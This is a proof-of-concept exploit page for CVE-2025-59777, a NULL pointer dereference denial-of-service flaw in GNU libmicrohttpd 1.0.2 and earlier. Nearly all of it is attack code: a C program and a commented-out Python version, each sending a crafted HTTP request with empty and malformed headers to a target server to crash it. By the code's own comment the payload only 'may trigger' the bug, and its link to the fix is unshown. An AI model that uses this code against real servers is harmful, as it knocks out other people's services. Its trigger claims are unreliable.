CVE-2025-59777: GNU libmicrohttpd v1.0.2及更早版本NULL指针解引用拒绝服务漏洞

/* * CVE-2025-59777 PoC - GNU libmicrohttpd NULL Pointer Dereference * This PoC demonstrates sending a crafted packet to trigger NULL pointer dereference * in libmicrohttpd <= v1.0.2 * * Note: This is for educational and security testing purposes only. * Author: Security Research * Reference: https://git.gnunet.org/libmicrohttpd.git/commit/?id=ff13abc1c1d7d2b30d69d5c0bd4a237e1801c50b */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define TARGET_IP "127.0.0.1" #define TARGET_PORT 8080 /* Crafted HTTP request that may trigger NULL pointer dereference */ const char* exploit_payload = "GET / HTTP/1.1\r\n" "Host: localhost\r\n" "Connection: keep-alive\r\n" "Accept-Encoding: ,\r\n" /* Malformed header to trigger edge case */ "X-Trigger-Null: \r\n" "\r\n"; int main(int argc, char* argv[]) { int sock_fd; struct sockaddr_in target_addr; printf("[*] CVE-2025-59777 PoC for libmicrohttpd NULL Pointer Dereference\n"); printf("[*] Target: %s:%d\n", TARGET_IP, TARGET_PORT); /* Create socket */ sock_fd = socket(AF_INET, SOCK_STREAM, 0); if (sock_fd < 0) { perror("[-] Socket creation failed"); return 1; } /* Setup target address */ memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(TARGET_PORT); inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr); /* Connect to target */ if (connect(sock_fd, (struct sockaddr*)&target_addr, sizeof(target_addr)) < 0) { perror("[-] Connection failed"); close(sock_fd); return 1; } printf("[+] Connected to target\n"); /* Send crafted payload */ printf("[*] Sending crafted HTTP request...\n"); ssize_t sent = send(sock_fd, exploit_payload, strlen(exploit_payload), 0); if (sent > 0) { printf("[+] Payload sent successfully (%zd bytes)\n", sent); printf("[*] If vulnerable, the server should crash with NULL pointer dereference\n"); } else { printf("[-] Failed to send payload\n"); } /* Wait and observe */ sleep(2); /* Try to receive response */ char buffer[1024]; ssize_t received = recv(sock_fd, buffer, sizeof(buffer) - 1, 0); if (received > 0) { buffer[received] = '\0'; printf("[*] Received response:\n%s\n", buffer); } else { printf("[*] No response or connection closed (possible crash)\n"); } close(sock_fd); return 0; } /* Alternative Python PoC */ /* import socket import sys target_host = "127.0.0.1" target_port = 8080 # Crafted payload to trigger NULL pointer dereference payload = ( b"GET / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Connection: keep-alive\r\n" b"Accept-Encoding: ,\r\n" b"X-Trigger-Null: \r\n\r\n" ) try: print(f"[*] Connecting to {target_host}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) print("[*] Sending exploit payload...") s.send(payload) print("[*] Payload sent. Observing server response...") s.settimeout(3) try: response = s.recv(4096) print(f"[*] Response received: {response}") except socket.timeout: print("[*] No response (possible DoS condition)") except Exception as e: print(f"[-] Error: {e}") finally: s.close() */